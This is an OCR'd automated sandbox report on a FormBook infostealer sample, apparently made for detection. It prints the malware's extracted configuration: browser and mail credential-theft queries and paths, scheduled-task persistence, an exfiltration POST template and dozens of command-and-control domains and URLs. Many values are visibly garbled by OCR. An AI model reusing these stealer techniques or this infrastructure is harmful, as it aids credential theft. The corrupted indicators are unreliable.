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Analysis Report J0OmHIlagw8.exe

Overview
General Information Detection Classification
Sample JOOmHIagw8.exe
Name: Antivirus detection for URL or domain
Analysis ID: 339323 MALICIOUS Found malware configuration
MDS: 92ff500a6930782.. Malicious sample detected (through ...
SHA1L:
fa5dec6012¢7149. Multi AV Scanner detection for subm...
SHA256: 767b1b32d4ac4c..

Sigma detected: Scheduled temp file...

Signatures

Tags:

Most interesting Screenshot:

Snort IDS alert for network traffic (e....

System process connects to networ...

Tries to download HTTP data from a...

FormBook Yara detected AntivM_3
100

Yara detected FormBook

Score:

Range: 0-100 .NET source code contains potentia...

Whitelisted:  false

Binary contains a suspicious time st...

Confidence:  100%

Startup

= System is w10x64
e [ J0OmHlagws.exe (PID: 5816 cmdline: 'C:\Users\user\Desktop\JOOmHlagw8.exe' MD5: 92FF500A693078263908C83B4B290481)
e (B schtasks.exe (PID: 5856 cmdline: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\JcEEHoQdnETCO' /XML 'C:\Users\user\AppData\Local\Temp\tmpF65F.tmp'
MD5: 15FF7D8324231381BAD48A052F85DF04)
conhost.exe (PID: 4552 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
| vbc.exe (PID: 4116 cmdline: {path} MD5: B3A917344F5610BEEC562556F11300FA)
| vbc.exe (PID: 5800 cmdline: {path} MD5: B3A917344F5610BEEC562556F11300FA)
o B explorer.exe (PID: 3388 cmdline: MD5: AD5296B280E8F522A8A897C96BABOE1D)
control.exe (PID: 3448 cmdline: C:\Windows\SysWOW&64\control.exe MD5: 40FBA3FBFD5E33EODE1BA45472FDAG6GF)
cmd.exe (PID: 5864 cmdline: /c del 'C:\Windows\Microsoft. NET\Framework\v4.0.30319\vbc.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)
conhost.exe (PID: 6100 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

.

.

(K
o Y

= cleanup

Malware Configuration

Threathname: FormBook

"Config: ": [
"CONFIG_PATTERNS 0x7%e0@",
"KEY1_OFFSET 0x1bbc8",
"CONFIG SIZE : Oxc1",
"CONFIG OFFSET 0x1bc99",
"URL SIZE : 24",

"searching string pattern”,
"strings_offset Oxla6a3",
"searching hashes pattern”,

"OxaBe749e3",
"0xf43668a6",
"0x980476e5",
"0x35a6d50c",
"0xf89290dc ",
"0x94261f57",
"0x7d54c891",
"0x47cb721",

"0xf72d70a3",
"0x9f715030",
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"Oxbfoa5e41",
"0x2902d074",
"0xf653b199",
"Oxc8c42cc6”,
"0x2e1b7599",
"0x210d4d07",
"0x6d2a7921",
"0x8ea85a2f",
"9x207c50Ff",
"0xb967410a",
"Ox1eb17415",
"0xb46802f8",
"0x11da8518",
"Oxf42ed5c”,

"0x2885a3d3",
"0x445675fa",
"0x5c289b4c",
"0x40ede5aa",
"0xf24946a2",
"0x8559c3e2",
"0xb9d34d23",
"Oxa14d0a19",
"0x2d0O7bbe2",
"Oxbbd1d68c",
"0xb28c29d4",
"0x3911edeb",
"Oxefado46d",
"0xa0605497",
"Oxf5529cbf",
"0x5507576a",
"0xfa2467c8",
"Ox5b6423bf",
"Oxe22409b9",
"Oxdeleba2",

"Oxae847e2",

"0xa8cfcc9”,

"0x26fc2c69",
"0x5d8a75ac",
"0x22eb3474",
"0x2b37c918",
"0x79402007",
"0x7544791c",
"0x641b2c94",
"0x1dbodecf",
"0xf5d02cd8",
"Oxad0121e4",
"0x6206e716",
"Ox5e4b9b9a",
"Oxede2f5f4",
"0x54c93159",
"0x25ea79b",

"Ox5bf29119",
"0xd6507db",

"0x32ffc9f8",
"Oxedcfab72",
"0x98db5380",
"Oxcedcc542",
"0x3092a0a2",
"0x66053660",
"0x2607a133",
"Oxfcd01355",
"0x80b41d4",

"0x4102ad8d",
"9x857bf6a6",
"Oxd3ec6064",
"0x23145fc4",
"0xc026698f",
"0x8f5385d8",
"0x2430512b",
"0x3ebe9086",
"0x4c6fddb5",
"0x276db13e",
"0xe00f0a8e",
"0x85cf9404",
"0xb2248784",
"Oxcdc7e023",
"Ox11f5£50",

"Ox1dddbcic",
"0x8235fce2",
"Oxc72ce2d5",
"0x263178b",

"0x57585356",
"0x9cb95240",
"Oxcc39fef",

"0x9347ac57",
"0x9d9522dc",
"0x911bc70e",
"0x74443db9",
"0xf04ciaa9",
"0x6484bcb5",

"0x11fc2f72",
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"0x2b44324f",
"0x9d70beea",
"9x59adf952",
"0x172ac7b4",
"0x5d4b4e66",
"Oxed297eae",
"0xa88492a6",
"0xb21b057c",
"0x70f35767",
"0xb6f4d5a8",
"0x67cea859",
"0xc1626bff",
"Oxbdelae2",

"0x24a48dcf",
"Oxe11da208",
"0x1c920818",
"0x65f4449c",
"0xc30bcO50",
"0x3e86e1fb",
"0x9e01fc32",
"0x216500c2",
"0x48e207c9",
"Ox2decf13e",
"0x19996921",
"Oxb7da3dd7",
"9x47£39d2b",
"Ox6777e2de",
"9xd980e37f",
"0x963fea3b",
"Oxacddb7ea",
"0x110aec35",
"0x647331f3",
"0x2e381da4",
"0x50f66474",
"Oxec16e0cO”,
"Oxf9d81a42",
"0xd6c6f9db",
"Oxef3df91",

"0x60e0e203",
"0x7c81caaf",
"Ox71c2ec76",
"Ox25e431cc”,
"9x106f568f",
"0x6a60c8a9",
"0xb758aab3",
"0x3b34de90",
"0x700420f5",
"Oxee359a7e",
"0xd1d808a",

"0x47bad7a5",
"Oxff959c4c",
"0x5d30a87d",
"0xaa95a900",
"0x80b19064",
"0x9c5a481a",
"Ox1dd252d",

"0xdb3055fc",
"OxeOcf8bf1",
"0x3a48eabc",
"Oxf0472£97",
"0x4a6323de",
"0x4260edca",
"Ox53f7fbaf",
"0x3d2e9c99",
"0xf6879235",
"Oxe6723cac”,
"Oxe184dfaa",
"0xe99ffaad",
"Oxf6aebe25",
"Oxefadf9a5",
"0x215de938",
"0x757906aa",
"0x84f8d766",
"0xb6494f65",
"0x13a75318",
"0x5bde5587",
"Oxe9eba2ad",
"0x6b8addf3",
"0x9c02f250",
"Oxe52a2a2e”,
"0xdb96173c",
"0x3cof2fc",

"0xc30c49a6",
"Oxcb591d7f",
"Ox5c4eed55",
"0x7c81c71d",
"0x11c6f95e",

"lIISFRNAMF"
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"LOCALAPPDATA",

"USERPROFILE",

"APPDATA",

"TEMP",

"ProgramFiles",

"CommonProgramFiles",

"ALLUSERSPROFILE",

"/c copy |"",

"/c del |"",

"\ \Run",

"||Policies”,

"\ \Explorer",

"||Registry|\User",

"\ \Registry\\Machine",

"| | SOFTWARE\ \Microsoft| \Windows | |CurrentVersion",
"Office||15.0\\0Outlook||Profiles||Outlook||",

" NT\||CurrentVersion||\Windows Messaging Subsystem||Profiles||Outlook|\|",
"| | SOFTWARE\ \Mozilla||\Mozilla ",

"\ \Mozilla",

"Username: ",
"Password: ",

"formSubmitURL",

"usernameField",

"encryptedUsername",

"encryptedPassword",

"||logins.json",

"||signons.sqlite"”,

"\ \Mail]|",

"\ |Foxmail",

"||Storage||",

"\ |Accounts| |Account.rec@"”,

"||\Data\ |AccCfg\ \Accounts. tdat",

"\ \Microsoft|\Vault||",

"SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins",
"||Google\ \Chrome\\User Datal\|Default||Login Data",

"SELECT origin_url, username_value, password_value FROM logins”,

.exe”,

.com”,

.scr’”,

".pif",

.cmd”,

".bat",

"ms",

"win",

"gdi",

"mfc”,

"vga”,

"igfx",

"user",

"help"”,

"config”,

"update”,

"regsvc”,

"chkdsk",

"systray",
"audiodg”,
"certmgr",
"autochk",
"taskhost",
"colorcpl”,
"services",
"IconCache",
"ThumbCache",
"Cookies",
"SeDebugPrivilege”,
"SeShutdownPrivilege",
"| |BaseNamedObjects",
"config.php",

"POST ",
" HTTP/1.1",
"Host: ",

"Connection: close",

"Content-Length: ",

"Cache-Control: no-cache",

"Origin: http://",

"User-Agent: Mozilla Firefox/4.0",

"Content-Type: application/x-www-form-urlencoded",

"Accept: */*",

"Referer: http://",

"Accept-Language: en-US",
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"Accept-Encoding: gzip, deflate”,
"dat=",

"f-start”,

"slgacha.com",
"oohdough.com",
"6983ylc.com",
"aykassociate.com",
"latin-hotspot.com",
"starrockindia.com",
"beamsubway.com",
"queensboutique1000.com",
"madbaddie.com”,
"bhoomimart.com",
"ankitparivar.com",
"aldanasanchezmx.com",
"citest1597669833.com",
"cristianofreitas.com”,
"myplantus.com”,
"counterfeitmilk.com",
"8xf39.com",
"pregnantwomens.com”,
"yyyut6.com",
"stnanguo.com”,
"fessusesefsee.com",
"logansshop.net",
"familydalmatianhomes.com",
"accessible. legal”,
"epicmassiveconcepts.com",
"indianfactopedia.com”,
"exit-divorce.com",
"colliapse.com",
"nosishop.com",
"hayat-aljowaily.com",
"soundon.events",
"previnacovid19-br.com",
"traptlongview.com",
"splendidhotelspa.com”,
"masterzushop.com”,
"ednevents.com"”,
"studentdividers.com”,
"treningi-enduro.com”,
"hostingcoaster.com",
"gourmetgroceriesfast.com”,
"thesouthbeachlife.com",
"teemergin.com",
"fixmygearfast.com",
"arb-invest.com",
"shemaledreamz.com",
"1819apparel.com”,
"thedigitalsatyan.com”,
"alparmuhendislik.com",
"distinctmusicproductions.com”,
"procreditexpert.com”,
"insights4innovation.com”,
"jzbtl.com",

"1033325.com",
"sorteocamper.info",
"scheherazadelegault.com”,
"glowportraiture.com”,
"cleitstaapps.com”,
"globepublishers.com”,
"stattests.com”,
"brainandbodystrengthcoach.com”,
"magenx2.info",
"escaparati.com”,
"wood-decor24.com”,
"travelnetafrica.com”,
"f-end",

"Decrypted CnC URL",

"www.herbmedia.net/csv8/\u00ee"

Yara Overview

Memory Dumps

Source

00000005.00000002.275625455.0000000004BC
0000.00000040.00000001.sdmp

Copyright null 2021

Rule

JoeSecurity_FormBook

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source

00000005.00000002.275625455.0000000004BC
0000.00000040.00000001.sdmp

00000005.00000002.275625455.0000000004BC
0000.00000040.00000001.sdmp

Rule Description

Formbook_1

yara-signator

Formbook
memory

00000008.00000002.572301270.0000000003250000.00000 JoeSecurity_FormBook  Yara detected

004.00000001.sdmp

00000008.00000002.572301270.0000000003250000.00000 Formbook_1

004.00000001.sdmp

Unpacked PEs

Source

5.2.vbc.exe.400000.0.unpack

5.2.vbc.exe.400000.0.unpack

5.2.vbc.exe.400000.0.unpack

5.2.vbc.exe.400000.0.raw.unpack

5.2.vbc.exe.400000.0.raw.unpack

Copyright null 2021

FormBook

yara-signator

Click to see the 17 entries

Rule Description

JoeSecurity_FormBook  Yara detected

FormBook
Formbook_1 autogenerated rule

brought to you by

yara-signator
Formbook detect Formbook in

memory

JoeSecurity_FormBook Yara detected
FormBook

Formbook_1

yara-signator

Click to see the 1 entries

autogenerated rule
brought to you by

detect Formbook in

autogenerated rule
brought to you by

autogenerated rule
brought to you by

Author

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Author

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Strings

3

e o o o

e o o o

e o o o o o

3

e o o o

e o o o

0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x166b9:$sqlite3step: 68 34 1C 7B E1
0x167cc:$sqlite3step: 68 34 1C 7B E1
0x166e8:$sqlite3text: 68 38 2A 90 C5
0x1680d:$sqlite3text: 68 38 2A 90 C5
0x166fb:$sqlite3blob: 68 53 D8 7F 8C
0x16823:$sqlite3blob: 68 53 D8 7F 8C

0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

Strings

3

e o o o

e o o o o o e o o o

3

e o o o

e o o o

0x77e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x7b82:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x13895:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x13381:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x859a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x158b9:$sqlite3step: 68 34 1C 7B E1
0x159cc:$sqlite3step: 68 34 1C 7B E1
0x158e8:$sqlite3text: 68 38 2A 90 C5
0x15a0d:$sqlite3text: 68 38 2A 90 C5
0x158fh:$sqlite3blob: 68 53 D8 7F 8C
0x15a23:$sqlite3blob: 68 53 D8 7F 8C

0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
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Sigma Overview

System Summary:

Sigma detected: Scheduled temp file as task from temp location

Signature Overview

@ AV Detection

® Compliance

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

@ System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

® Boot Survival

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection
@ Stealing of Sensitive Information

@ Remote Access Functionality

g

Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain
Found malware configuration
Multi AV Scanner detection for submitted file

Yara detected FormBook

Networking:

rt IDS alert for network traffic (e.g. based on Emerging Threat rules)

Tries to download HTTP data from a sinkholed server
E-Banking Fraud: | |

Yara detected FormBook

System Summary: | X |

Malicious sample detected (through community Yara rule)

Data Obfuscation: | " |

Boot Survival: | | |

Copyright null 2021 Page 10 of 47



Malware Analysis System Evasion:

Yara detected AntiVM_3

o

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality: | |

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Valid Scheduled Scheduled Process Masquerading oS Security Software Remote Archive Exfiltration Encrypted Eavesdrop «
Accounts Task/Job §§ Task/Job Injection Credential Discovery Services Collected  Over Other Channel Insecure
Dumping Data Network Network

Medium Communice
Default Shared Boot or Scheduled Virtualization/Sandbox LSASS Virtualization/Sandbox Remote Data from  Exfiltration Ingress Tool Exploit SS7
Accounts Modules Logon Task/Job Evasion Memory  Evasion Desktop Removable Over Transfer Redirect Ph

Initialization Protocol Media Bluetooth Calls/SMS
Scripts
Domain At (Linux)  Logon Script Logon Script Disable or Modify Security Process Discovery SMB/Windows Data from Automated Non- Exploit SS7
Accounts (Windows)  (Windows) Tools Account Admin Shares Network Exfiltration Application Track Devic
Manager Shared Layer Location
Drive Protocol
Local At Logon Script Logon Script Process NTDS Remote System Distributed Input Scheduled Application SIM Card
Accounts (Windows)  (Mac) (Mac) Injection Discovery Component  Capture Transfer Layer Swap
Object Model Protocol

Cloud Cron Network Network Logon  Deobfuscate/Decode LSA File and Directory SSH Keylogging Data Fallback Manipulate
Accounts Logon Script Script Files or Information Secrets Discovery Transfer Channels Device

Size Limits Communice
Replication  Launchd Rc.common Rc.common Obfuscated Filesor  Cached System Information ~ VNC GUI Input  Exfiltration  Multiband Jamming or
Through Information Domain Discovery Capture Over C2 Communication Denial of
Removable Credentials Channel Service
Media
External Scheduled  Startup Startup Items Software DCSync Network Sniffing Windows Web Portal Exfiltration Commonly Rogue Wi-F
Remote Task Items Packing Remote Capture Over Used Port Access Poit
Services Management Alternative

Protocol
Drive-by Command Scheduled  Scheduled Timestomp Proc Network Service Shared Credential Exfiltration Application Downgrade
Compromise and Task/Job Task/Job Filesystem Scanning Webroot API Over Layer Protocol Insecure

Scripting Hooking Symmetric Protocols
Interpreter Encrypted
Non-C2
Protocol
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Behavior Graph

Behavior Graph
0: 330323

Sample:
Startdate:
Architecture:
Score:
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13012021
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ModiSes the comat M DLL ‘Sample us APC in another Tries to detect virtualization
atrednmote e overaeets ot rocess Gresamecin |\ "™ ot ROTSC tme mesrements sa

e EEED

s a
+*
Ay

Y

m=
2
3

V&

i
i
=

D@ 2 i~

Process
Signature
Created File
DNS/IP Info
Is Dropped

Is Windows Process

Number of created Registry Values
Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

mive  AY
G

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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J00mHIzg...

DUUDTUB  EC

GIGIYTFFY...

F-l O Type here to search 4

EXE

Excel 2016

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source
JOOmHIagw8.exe
JOOmHIagw8.exe

Dropped Files

Source

C:\Users\user\AppData\Roaming\JcEEHoQdnETCO.exe

Unpacked PE Files

Source

5.2.vbc.exe.400000.0.unpack

Domains

No Antivirus matches

URLs

Source

hitp://www.founder.com.cn/cn/bThe

Copyright null 2021

Detection
31%
100%

Detection

100%

Detection Scanner

100% Avira

Detection

0%

rn on Windows Firewall

Scanner Label
Virustotal
Joe Sandbox ML

Scanner Label

Joe Sandbox ML

Label Link
TR/Crypt.ZPACK.Gen
Scanner Label

URL Reputation safe

Link

Browse

Link

Download

Download File

Link
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https://www.virustotal.com/gui/file/767b1b32d4ac4cec73967590ca5b28c3e0f4d709c0773e3f4021774f15a2483a/detection/f-767b1b32d4ac4cec73967590ca5b28c3e0f4d709c0773e3f4021774f15a2483a-1610550823

Source
hitp:/f\www.founder.com.cn/cn/bThe
hitp:/f\www.founder.com.cn/cn/bThe

hitp://www.stnanguo.com/csv8/?
t808sPp=jG588BPFN24GA+JInJbzwJploc208xnuoJDpFE+MGYeEjwWt0JePkAwfwipDNVIrzBFNJIV&jBZd=
KnhT

hitp:/fwww.tiro.com
hitp:/fiwww.tiro.com
hitp:/fiwww.tiro.com
hitp://iwww.goodfont.co.kr
hitp://iwww.goodfont.co.kr
hitp://iwww.goodfont.co.kr

hitp://www.alparmuhendislik.com/csv8/?
t808sPp=qrM/jq4OcBIvVG2RWEVIOjlwgtu+jolliSW/njvsFRiZ9j79vyWJq+CFtdr2TsRW1k8yh&jBZd=KnhT

hitp://www.carterandcone.coml
hitp://www.carterandcone.coml
hitp://www.carterandcone.coml
hitp://iwww.sajatypeworks.com
hitp://iwww.sajatypeworks.com
hitp://iwww.sajatypeworks.com
hitp:/fiwww.typography.netD
hitp:/fiwww.typography.netD
hitp:/fiwww.typography.netD
hitp://www.founder.com.cn/cn/cThe
hitp://www.founder.com.cn/cn/cThe
hitp://www.founder.com.cn/cn/cThe
hitp://iwww.galapagosdesign.com/staff/dennis.htm
hitp://iwww.galapagosdesign.com/staff/dennis.htm
hitp://iwww.galapagosdesign.com/staff/dennis.htm
hitp://fontfabrik.com

hitp://fontfabrik.com

hitp://fontfabrik.com
hitp://www.founder.com.cn/cn
hitp://www.founder.com.cn/cn
hitp://www.founder.com.cn/cn

hitp://iwww.exit-divorce.com/csv8/?
t808sPp=/WWabBMDJNFcoLagfnEbo6hmuOxaPIPf4Swj3PCSZ12YB4sttwixqUCSSH4NAIN37R36&jBZ
d=KnhT

hitp://www.queensboutique1000.com/csv8/?
t808sPp=8DCWdIpVqJDMTE60O1pDiewAZ51bcDeHXIhtTkyu/PoYXbpdVgZUBuvBpvOR50OTNOYigA&|B
Zd=KnhT

hitp:/fiwww.jiyu-kobo.co.jp/
hitp:/fiwww.jiyu-kobo.co.jp/
hitp:/fiwww.jiyu-kobo.co.jp/

hitp://\www.galapagosdesign.com/DPlease
hitp://\www.galapagosdesign.com/DPlease
hitp://\www.galapagosdesign.com/DPlease

hitp://iwww.travelnetafrica.com/csv8/?
t808sPp=EQmgoSYDEa5LDPvVC5k82JbrO8g/Lv/s9cEF36fL7P4v8Aj5jRO5aZQhqVXoXMO5wnpv&jBZd
=KnhT

hitp://www.splendidhotelspa.com/csv8/?
t808sPp=UyqXkzQbKyztPGX66qxwvXaplLDI1ITOmMYI10usxIxwN3fVBnLta3wXT2zIL/xRkQBU5V&|BZd=
KnhT

hitp:/fiwww.studentdividers.com/csv8/?
t808sPp=0n4X4+yxbbSsDYaEiiQ2PWd8LISUNSGHqTXva27qpzu+WFndrUbREk96g9Cvik6UddJD&jBZd
=KnhT

hitp://logo.verisign

hitp://www.sandoll.co.kr
hitp://www.sandoll.co.kr
hitp://www.sandoll.co.kr

hitp://www.epicmassiveconcepts.com/csv8/?
t808sPp=iJ9LMG7MIiwQjz4N9h8Hg4mQMyMQBEbCXmiUEypb7zSuax6avA4zdFyQt2cMJI86uh/oE&jBZd
=KnhT
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Detection
0%
0%
0%

0%
0%
0%
0%
0%
0%

0%

0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

0%

0%
0%
0%

0%
0%
0%
0%

0%

0%

0%
0%
0%
0%
0%

Scanner

URL Reputation
URL Reputation
Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation

Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation

URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Avira URL Cloud

Avira URL Cloud

Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Label Link
safe
safe

safe

safe
safe
safe
safe
safe

safe

safe

safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

safe

safe
safe

safe

safe
safe
safe

safe

safe

safe

safe
safe
safe
safe

safe
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Source Detection Scanner Label Link

hitp://www.soundon.events/csv8/? 0% Avira URL Cloud safe
t808sPp=f1zFyjNxEhLridJwdKKCz7YQnzvARTiViSvHXssl+N40gmlvXkDdEguhFCZDVROrFWZR&jBZd=

KnhT

hitp://www.urwpp.deDPlease 0% URL Reputation safe
hitp://www.urwpp.deDPlease 0% URL Reputation safe
hitp://www.urwpp.deDPlease 0% URL Reputation safe
hitp://www.zhongyicts.com.cn 0% URL Reputation safe
hitp://www.zhongyicts.com.cn 0% URL Reputation safe
hitp://www.zhongyicts.com.cn 0% URL Reputation safe
hitp://www.sakkal.com 0% URL Reputation safe
hitp://www.sakkal.com 0% URL Reputation safe
hitp://www.sakkal.com 0% URL Reputation safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation

Contacted URLs

Name Malicious Antivirus Detection Reputation

j I
j I N

-

-

-

= -_-
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Name

Malicious

Antivirus Detection

Reputation

URLs from Memory and Binaries

Name

hitp://www.apache.org/licenses/LICENSE-2.0

hitp:/f\www.fontbureau.com

hitp:/fiwww.fontbureau.com/designersG

hitp:/f\www.fontbureau.com/designers/?

hitp://www.founder.com.cn/cn/bThe

hitp:/fiwww.fontbureau.com/designers?

hitp:/fiwww.tiro.com

hitp://www.fontbureau.com/designers

hitp://www.goodfont.co.kr

hitp://www.carterandcone.coml

hitp://iwww.sajatypeworks.com

hitp:/fiwww.typography.netD

hitp://www.fontbureau.com/designers/cabarga.htmIN

hitp://www.founder.com.cn/cn/cThe

hitp://iwww.galapagosdesign.com/staff/dennis.htm

hitp://fontfabrik.com

hitp://www.founder.com.cn/cn

hitp:/f\www.fontbureau.com/designers/frere-jones.html

hitp:/fiwww.jiyu-kobo.co.jp/

hitp://\www.galapagosdesign.com/DPlease

hitp:/f\www.fontbureau.com/designers8

Copyright null 2021

Source

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.260756926.0000000008B46000.0
0000002.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

Reputation

high

high

high

high

unknown

high

unknown

high

unknown

unknown

unknown

unknown

high

unknown

unknown

unknown

unknown

high

unknown

unknown

high
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Name Source Malicious Antivirus Detection Reputation

hitp://logo.verisign explorer.exe, 00000006.0000000 false e Avira URL Cloud: safe unknown
0.264819810.000000000F440000.0
0000004.00000001.sdmp
hitp:/fiwww.fonts.com explorer.exe, 00000006.0000000 false high
0.260756926.0000000008B46000.0
0000002.00000001.sdmp
